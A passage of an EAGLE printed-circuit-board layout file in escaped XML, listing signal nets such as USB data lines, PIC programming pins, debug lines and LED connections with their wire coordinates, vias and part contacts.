x1=\"63\" y1=\"47.7\" x2=\"62.6\" y2=\"47.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"62.6\" y1=\"47.3\" x2=\"62.6\" y2=\"46.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"104\" y1=\"35\" x2=\"104\" y2=\"42.6\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"104\" y1=\"42.6\" x2=\"105.1\" y2=\"43.7\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"105.1\" y1=\"43.7\" x2=\"106.7102\" y2=\"43.7\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"106.7102\" y1=\"43.7\" x2=\"107.0988\" y2=\"43.3114\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"64.6\" y1=\"34\" x2=\"71.1\" y2=\"27.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"71.1\" y1=\"27.5\" x2=\"71.3\" y2=\"27.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"108.8\" y1=\"67.2\" x2=\"108.9\" y2=\"67.2\" width=\"0.6\" layer=\"1\"/>\n<wire x1=\"108.9\" y1=\"67.2\" x2=\"108.8\" y2=\"46.3\" width=\"0.6\" layer=\"16\"/>\n<wire x1=\"108.8\" y1=\"46.3\" x2=\"107.9\" y2=\"45.4\" width=\"0.6\" layer=\"16\"/>\n<wire x1=\"31.15\" y1=\"8.5\" x2=\"33.75\" y2=\"8.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"33.75\" y1=\"8.5\" x2=\"36.25\" y2=\"6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"35.6\" y1=\"14.5\" x2=\"34\" y2=\"14.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"34\" y1=\"14.5\" x2=\"31.3\" y2=\"11.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"31.3\" y1=\"11.8\" x2=\"31.3\" y2=\"8.65\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"31.3\" y1=\"8.65\" x2=\"31.15\" y2=\"8.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"108.9\" y1=\"65.05\" x2=\"108.9\" y2=\"67.2\" width=\"0.6\" layer=\"1\"/>\n<wire x1=\"102.2\" y1=\"66.1\" x2=\"102.2\" y2=\"66.6\" width=\"0.6\" layer=\"1\"/>\n<wire x1=\"102.2\" y1=\"66.6\" x2=\"103.5\" y2=\"67.9\" width=\"0.6\" layer=\"1\"/>\n<wire x1=\"103.5\" y1=\"67.9\" x2=\"104\" y2=\"67.9\" width=\"0.6\" layer=\"1\"/>\n<wire x1=\"104\" y1=\"67.9\" x2=\"108.2\" y2=\"67.9\" width=\"0.6\" layer=\"1\"/>\n<wire x1=\"108.2\" y1=\"67.9\" x2=\"108.9\" y2=\"67.2\" width=\"0.6\" layer=\"1\"/>\n<wire x1=\"103.9\" y1=\"69.1\" x2=\"103.9\" y2=\"68\" width=\"0.6\" layer=\"1\"/>\n<wire x1=\"103.9\" y1=\"68\" x2=\"104\" y2=\"67.9\" width=\"0.6\" layer=\"1\"/>\n<wire x1=\"29.99\" y1=\"26.61\" x2=\"28.7622\" y2=\"26.61\" width=\"0.4\" layer=\"1\"/>\n<contactref element=\"R11\" pad=\"1\"/>\n<contactref element=\"U1\" pad=\"14\"/>\n<contactref element=\"U1\" pad=\"8\"/>\n<contactref element=\"U1\" pad=\"7\"/>\n<contactref element=\"R4\" pad=\"3\"/>\n<contactref element=\"R3\" pad=\"3\"/>\n<contactref element=\"R12\" pad=\"1\"/>\n<wire x1=\"79.3\" y1=\"11.4\" x2=\"79.3\" y2=\"11.35\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"72.5\" y1=\"26.6\" x2=\"72.4\" y2=\"26.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"74.6\" y1=\"26.6\" x2=\"72.5\" y2=\"26.6\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"75.3\" y1=\"25.9\" x2=\"74.6\" y2=\"26.6\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"75.3\" y1=\"18.9\" x2=\"75.3\" y2=\"25.9\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"72.4\" y1=\"18.9\" x2=\"75.3\" y2=\"18.9\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"72.4\" y1=\"26.6\" x2=\"72.3622\" y2=\"26.61\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"72.4\" y1=\"18.9\" x2=\"72.3622\" y2=\"18.99\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"72.3\" y1=\"26.7\" x2=\"72.3\" y2=\"26.6722\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"72.3\" y1=\"26.6722\" x2=\"72.3622\" y2=\"26.61\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"67.7\" y1=\"18.9\" x2=\"67.7\" y2=\"18.9278\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"67.7\" y1=\"18.9278\" x2=\"67.6378\" y2=\"18.99\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"72.3\" y1=\"18.8\" x2=\"72.3\" y2=\"18.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"72.3\" y1=\"18.9278\" x2=\"72.3622\" y2=\"18.99\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"72.3\" y1=\"18.9278\" x2=\"72.3\" y2=\"18.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.15\" y1=\"11.35\" x2=\"49.2\" y2=\"11.35\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"80.85\" y1=\"11.35\" x2=\"79.3\" y2=\"11.35\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"67.1\" y1=\"7.46\" x2=\"64.3\" y2=\"4.66\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"61.1\" y1=\"4.7\" x2=\"64.26\" y2=\"4.7\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"64.26\" y1=\"4.7\" x2=\"64.3\" y2=\"4.66\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"57.3\" y1=\"4.7\" x2=\"57.3\" y2=\"4.66\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"DEBUG_4\">\n<contactref element=\"U6\" pad=\"3\"/>\n<wire x1=\"47.1\" y1=\"57.2\" x2=\"49.2\" y2=\"57.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"46.7\" y1=\"56.8\" x2=\"47.1\" y2=\"57.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"40.8\" y1=\"56.8\" x2=\"46.7\" y2=\"56.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39.1\" y1=\"58.5\" x2=\"40.8\" y2=\"56.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"31.2\" y1=\"58.5\" x2=\"39.1\" y2=\"58.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"20\" y1=\"69.7\" x2=\"31.2\" y2=\"58.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"20\" y1=\"70.2\" x2=\"20\" y2=\"69.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"49.2\" y1=\"57.2\" x2=\"49.28\" y2=\"57.2038\" width=\"0.2\" layer=\"1\"/>\n<via x=\"31.2\" y=\"58.5\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"6\"/>\n<wire x1=\"20\" y1=\"70.2\" x2=\"20.17\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"TP36\" pad=\"TP\"/>\n<wire x1=\"20.2\" y1=\"73.3\" x2=\"20.2\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"20.2\" y1=\"70.2\" x2=\"20.17\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"N$105\">\n<contactref element=\"R28\" pad=\"1\"/>\n<contactref element=\"LED8\" pad=\"A\"/>\n<wire x1=\"97.1\" y1=\"58.9\" x2=\"95\" y2=\"58.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"95\" y1=\"58.9\" x2=\"94.95\" y2=\"58.85\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"97.1\" y1=\"58.9\" x2=\"97.15\" y2=\"58.75\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$106\">\n<contactref element=\"LED7\" pad=\"A\"/>\n<contactref element=\"R27\" pad=\"1\"/>\n<wire x1=\"97.1\" y1=\"63.9\" x2=\"95\" y2=\"63.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"95\" y1=\"63.9\" x2=\"94.95\" y2=\"63.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"97.1\" y1=\"63.9\" x2=\"97.15\" y2=\"63.85\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$107\">\n<contactref element=\"LED5\" pad=\"A\"/>\n<contactref element=\"R24\" pad=\"1\"/>\n<wire x1=\"3.2\" y1=\"26.05\" x2=\"3.2\" y2=\"23.05\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$108\">\n<contactref element=\"LED6\" pad=\"A\"/>\n<contactref element=\"R25\" pad=\"1\"/>\n<wire x1=\"28.25\" y1=\"29.5\" x2=\"25.95\" y2=\"29.5\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"DEBUG_3\">\n<contactref element=\"U6\" pad=\"8\"/>\n<wire x1=\"39.5\" y1=\"54.7\" x2=\"49.2\" y2=\"54.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39.3\" y1=\"54.5\" x2=\"39.5\" y2=\"54.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"33.5\" y1=\"54.5\" x2=\"39.3\" y2=\"54.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"25.4\" y1=\"57.8\" x2=\"27\" y2=\"57.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"22.6\" y1=\"60.6\" x2=\"25.4\" y2=\"57.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"13.6\" y1=\"60.6\" x2=\"22.6\" y2=\"60.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"11.8\" y1=\"62.4\" x2=\"13.6\" y2=\"60.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"7.4\" y1=\"65\" x2=\"10.1\" y2=\"62.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"7.4\" y1=\"70.1\" x2=\"7.4\" y2=\"65\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"7.3\" y1=\"70.2\" x2=\"7.4\" y2=\"70.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"49.2\" y1=\"54.7\" x2=\"49.28\" y2=\"54.6892\" width=\"0.2\" layer=\"1\"/>\n<via x=\"11.8\" y=\"62.4\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"1\"/>\n<wire x1=\"7.3\" y1=\"70.2\" x2=\"7.47\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"27\" y1=\"57.8\" x2=\"28\" y2=\"58.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28\" y1=\"58.8\" x2=\"28.9\" y2=\"58.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.9\" y1=\"58.8\" x2=\"30.1\" y2=\"57.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"30.1\" y1=\"57.6\" x2=\"30.4\" y2=\"57.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"30.4\" y1=\"57.6\" x2=\"33.5\" y2=\"54.5\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"TP37\" pad=\"TP\"/>\n<wire x1=\"7.2\" y1=\"73.2\" x2=\"7.2\" y2=\"70.47\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"7.2\" y1=\"70.47\" x2=\"7.47\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"10.1\" y1=\"62.3\" x2=\"11.7\" y2=\"62.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"11.7\" y1=\"62.3\" x2=\"11.8\" y2=\"62.4\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"N$27\">\n<contactref element=\"R19\" pad=\"1\"/>\n<contactref element=\"LED1\" pad=\"A\"/>\n<wire x1=\"94.8\" y1=\"41.9\" x2=\"92.4\" y2=\"41.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"92.4\" y1=\"41.9\" x2=\"92.35\" y2=\"41.85\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"94.8\" y1=\"41.9\" x2=\"94.85\" y2=\"41.95\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$14\">\n<contactref element=\"LED4\" pad=\"A\"/>\n<contactref element=\"R22\" pad=\"1\"/>\n<wire x1=\"3.2\" y1=\"7.45\" x2=\"3.2\" y2=\"9.85\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"USB_D+\">\n<contactref element=\"U6\" pad=\"57\"/>\n<wire x1=\"73.5\" y1=\"54\" x2=\"74\" y2=\"54.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"73.1\" y1=\"54\" x2=\"73.5\" y2=\"54\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"64.6\" y1=\"49.2\" x2=\"64.52\" y2=\"49.2028\" width=\"0.2\" layer=\"1\"/>\n<via x=\"73.5\" y=\"54\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"69\" y=\"49.7\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"64.6\" y1=\"49.2\" x2=\"66.6\" y2=\"49.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"66.6\" y1=\"49.2\" x2=\"67.4\" y2=\"50\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"67.4\" y1=\"50\" x2=\"69\" y2=\"50\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"69\" y1=\"50\" x2=\"69\" y2=\"49.7\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"TP31\" pad=\"TP\"/>\n<wire x1=\"73.5\" y1=\"52.5\" x2=\"73.5\" y2=\"54\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"73.67\" y1=\"52.46\" x2=\"73.5\" y2=\"52.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"69\" y1=\"49.7\" x2=\"73.3\" y2=\"54\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"73.3\" y1=\"54\" x2=\"73.5\" y2=\"54\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"U$2\" pad=\"D+\"/>\n<wire x1=\"74\" y1=\"54.5\" x2=\"82.3\" y2=\"54.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"82.3\" y1=\"54.5\" x2=\"82.9\" y2=\"55.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"82.9\" y1=\"55.1\" x2=\"91.3\" y2=\"55.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"103.8\" y1=\"54.7\" x2=\"91.7\" y2=\"54.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"91.7\" y1=\"54.7\" x2=\"91.3\" y2=\"55.1\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"USB_D-\">\n<contactref element=\"U6\" pad=\"56\"/>\n<wire x1=\"72.9\" y1=\"49.7\" x2=\"76.4\" y2=\"46.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"64.6\" y1=\"48.7\" x2=\"64.52\" y2=\"48.6948\" width=\"0.2\" layer=\"1\"/>\n<via x=\"76.4\" y=\"46.2\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"72.9\" y=\"49.7\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"64.6\" y1=\"48.7\" x2=\"68.9\" y2=\"48.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"68.9\" y1=\"48.7\" x2=\"69.1\" y2=\"48.9\" width=\"0.2\" layer=\"1\"/>\n<via x=\"83.8\" y=\"54\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"83.4\" y=\"47.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"83.4\" y1=\"47.3\" x2=\"83.4\" y2=\"48.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"83.4\" y1=\"48.2\" x2=\"84.4\" y2=\"49.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"82\" y1=\"45.9\" x2=\"83.4\" y2=\"47.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"82\" y1=\"45.9\" x2=\"76.4\" y2=\"45.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"76.4\" y1=\"45.9\" x2=\"76.4\" y2=\"46.2\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"TP30\" pad=\"TP\"/>\n<wire x1=\"83.8\" y1=\"57.3\" x2=\"83.8\" y2=\"54\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"83.9\" y1=\"57.8\" x2=\"83.8\" y2=\"57.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"69.1\" y1=\"48.9\" x2=\"71.4\" y2=\"48.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"71.4\" y1=\"48.9\" x2=\"72.2\" y2=\"49.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"72.2\" y1=\"49.7\" x2=\"72.9\" y2=\"49.7\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"U$2\" pad=\"D-\"/>\n<wire x1=\"84.4\" y1=\"49.2\" x2=\"84.4\" y2=\"53.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"84.4\" y1=\"53.4\" x2=\"83.8\" y2=\"54\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"83.8\" y1=\"54\" x2=\"84.1\" y2=\"54.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"84.1\" y1=\"54.3\" x2=\"91.1\" y2=\"54.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"91.1\" y1=\"54.3\" x2=\"91.5\" y2=\"53.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"103.8\" y1=\"53.9\" x2=\"91.5\" y2=\"53.9\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"PGD2\">\n<contactref element=\"JP16\" pad=\"4\"/>\n<contactref element=\"U6\" pad=\"27\"/>\n<wire x1=\"51.4\" y1=\"43.1\" x2=\"51.4\" y2=\"44.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.3\" y1=\"43\" x2=\"51.4\" y2=\"43.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"48.2\" y1=\"43\" x2=\"51.3\" y2=\"43\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"44.3\" y1=\"39.1\" x2=\"48.2\" y2=\"43\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"31.2\" y1=\"39.1\" x2=\"44.3\" y2=\"39.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"30.8\" y1=\"38.7\" x2=\"31.2\" y2=\"39.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"25.4\" y1=\"38.7\" x2=\"30.8\" y2=\"38.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"24.7\" y1=\"39.4\" x2=\"25.4\" y2=\"38.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"22.7\" y1=\"41.4\" x2=\"24.7\" y2=\"39.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"22.7\" y1=\"49.2\" x2=\"22.7\" y2=\"41.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"16.3\" y1=\"55.6\" x2=\"22.7\" y2=\"49.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"16\" y1=\"55.9\" x2=\"16.3\" y2=\"55.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"1.8\" y1=\"55.9\" x2=\"16\" y2=\"55.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"1.61\" y1=\"56.09\" x2=\"1.8\" y2=\"55.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.4\" y1=\"44.5\" x2=\"51.3882\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<via x=\"24.7\" y=\"39.4\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"16.3\" y=\"55.6\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"TP16\" pad=\"TP\"/>\n<wire x1=\"4.01\" y1=\"56.09\" x2=\"1.61\" y2=\"56.09\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"4.01\" y1=\"56.09\" x2=\"7.2\" y2=\"52.9\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"7.2\" y1=\"52.9\" x2=\"7.2\" y2=\"50.4\" width=\"0.4\" layer=\"16\"/>\n</signal>\n<signal name=\"PGC2\">\n<contactref element=\"JP16\" pad=\"5\"/>\n<contactref element=\"U6\" pad=\"26\"/>\n<wire x1=\"49.8\" y1=\"43.4\" x2=\"50.9\" y2=\"44.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"47.6\" y1=\"43.4\" x2=\"49.8\" y2=\"43.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"46.6\" y1=\"42.4\" x2=\"47.6\" y2=\"43.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"44.5\" y1=\"42.4\" x2=\"46.6\" y2=\"42.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"43.4\" y1=\"43.5\" x2=\"44.5\" y2=\"42.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"32.3\" y1=\"44.5\" x2=\"33.3\" y2=\"43.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"32.3\" y1=\"54.7\" x2=\"32.3\" y2=\"44.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"31.9\" y1=\"55.1\" x2=\"32.3\" y2=\"54.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"29.8\" y1=\"55.1\" x2=\"31.9\" y2=\"55.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"28.5\" y1=\"53.8\" x2=\"29.8\" y2=\"55.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"1.9\" y1=\"53.8\" x2=\"28.5\" y2=\"53.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"1.7\" y1=\"53.6\" x2=\"1.9\" y2=\"53.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.9\" y1=\"44.5\" x2=\"50.9056\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"1.7\" y1=\"53.6\" x2=\"1.61\" y2=\"53.55\" width=\"0.2\" layer=\"1\"/>\n<via x=\"33.3\" y=\"43.5\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"28.5\" y=\"53.8\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"TP17\" pad=\"TP\"/>\n<wire x1=\"43.4\" y1=\"43.5\" x2=\"42.3\" y2=\"43.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"42.3\" y1=\"43.5\" x2=\"41.9\" y2=\"43.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"41.9\" y1=\"43.9\" x2=\"33.7\" y2=\"43.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"33.7\" y1=\"43.9\" x2=\"33.3\" y2=\"43.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"1.61\" y1=\"53.55\" x2=\"5.7\" y2=\"49.46\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"5.7\" y1=\"49.46\" x2=\"5.7\" y2=\"45.1\" width=\"0.4\" layer=\"16\"/>\n</signal>\n<signal name=\"CLOCK\">\n<contactref element=\"U5\" pad=\"3\"/>\n<contactref element=\"U5\" pad=\"6\"/>\n<contactref element=\"U5\" pad=\"8\"/>\n<contactref element=\"U5\" pad=\"11\"/>\n<contactref element=\"JP11\" pad=\"2\"/>\n<contactref element=\"D1\" pad=\"3\"/>\n<contactref element=\"C12\" pad=\"2\"/>\n<wire x1=\"24.2\" y1=\"20.1\" x2=\"24.1\" y2=\"20.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"26\" y1=\"20.1\" x2=\"24.2\" y2=\"20.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"27.2\" y1=\"18.9\" x2=\"26\" y2=\"20.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.7\" y1=\"18.9\" x2=\"27.2\" y2=\"18.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"24.1\" y1=\"20.2\" x2=\"24.0378\" y2=\"20.26\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.7\" y1=\"18.9\" x2=\"28.7622\" y2=\"18.99\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"27.2\" y1=\"22.8\" x2=\"25.93\" y2=\"24.07\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.7622\" y1=\"22.8\" x2=\"27.2\" y2=\"22.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"23.9\" y1=\"20.4\" x2=\"24\" y2=\"20.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"22.7\" y1=\"20.4\" x2=\"23.9\" y2=\"20.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"22.2\" y1=\"20.9\" x2=\"22.7\" y2=\"20.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"22.2\" y1=\"22\" x2=\"22.2\" y2=\"20.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"24\" y1=\"20.3\" x2=\"24.0378\" y2=\"20.26\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"7.45\" y1=\"18.087\" x2=\"3.2\" y2=\"18.087\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"7.45\" y1=\"19.9\" x2=\"7.45\" y2=\"18.087\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"7.45\" y1=\"19.9\" x2=\"7.45\" y2=\"21.45\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"7.45\" y1=\"21.45\" x2=\"8\" y2=\"22\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"8\" y1=\"22\" x2=\"22.2\" y2=\"22\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"TP12\" pad=\"TP\"/>\n<wire x1=\"2\" y1=\"20\" x2=\"2\" y2=\"19.287\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"2\" y1=\"19.287\" x2=\"3.2\" y2=\"18.087\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"22.2\" y1=\"22\" x2=\"22.2\" y2=\"23.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"22.2\" y1=\"23.8\" x2=\"22.5\" y2=\"24.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"22.5\" y1=\"24.1\" x2=\"24.0078\" y2=\"24.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"24.0078\" y1=\"24.1\" x2=\"24.0378\" y2=\"24.07\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"24.1\" y1=\"24\" x2=\"24.1\" y2=\"24.0078\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"25.93\" y1=\"24.07\" x2=\"24.0378\" y2=\"24.07\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"24.1\" y1=\"24\" x2=\"24.0378\" y2=\"24.0622\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"24.0378\" y1=\"24.0622\" x2=\"24.0378\" y2=\"24.07\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"7.45\" y1=\"18.087\" x2=\"7.45\" y2=\"17.25\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"7.45\" y1=\"17.25\" x2=\"9.4\" y2=\"15.3\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$17\">\n<contactref element=\"LED3\" pad=\"A\"/>\n<contactref element=\"R21\" pad=\"1\"/>\n<wire x1=\"99.3\" y1=\"11.1\" x2=\"102.2\" y2=\"11.1\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"102.2\" y1=\"11.1\" x2=\"102.2\" y2=\"11.15\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"99.3\" y1=\"11.1\" x2=\"99.3\" y2=\"11.05\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"PIC_SDI1\">\n<contactref element=\"U6\" pad=\"9\"/>\n<wire x1=\"39.6\" y1=\"54.2\" x2=\"49.2\" y2=\"54.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39.5\" y1=\"54.1\" x2=\"39.6\" y2=\"54.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"31.9\" y1=\"54.1\" x2=\"39.5\" y2=\"54.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"31.6\" y1=\"54.4\" x2=\"31.9\" y2=\"54.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.2\" y1=\"51\" x2=\"29.4\" y2=\"52.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"29.4\" y1=\"52.2\" x2=\"31.6\" y2=\"54.4\" width=\"0.2\" layer=\"16\"/>\n<wire 